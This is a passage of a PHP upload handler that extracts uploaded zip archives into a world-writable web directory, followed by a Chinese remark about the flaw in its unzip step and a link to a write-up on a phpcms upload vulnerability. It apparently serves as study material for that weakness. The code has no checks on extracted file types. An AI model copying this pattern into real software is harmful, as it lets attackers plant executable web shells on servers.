} } if (!move_file ($path , $basePath )) { $zip ->close (); return "move_failed" ; } rmdir ($path ); $zip ->close (); return true ; }$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/' ;if (!is_dir ($uploadDir )) { mkdir ($uploadDir , 0777 , true ); }if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] === UPLOAD_ERR_OK) { $uploadedFile = $_FILES ['file' ]; $zipname = $uploadedFile ['tmp_name' ]; $path = $uploadDir ; $result = unzip ($zipname , $path ); if ($result === true ) { header ("Location: index.html?status=success" ); exit (); } else { header ("Location: index.html?status=$result " ); exit (); } } else { header ("Location: index.html?status=file_error" ); exit (); }
zip解压部分错误:
https://leavesongs.com/PENETRATION/after-phpcms-upload-vul.html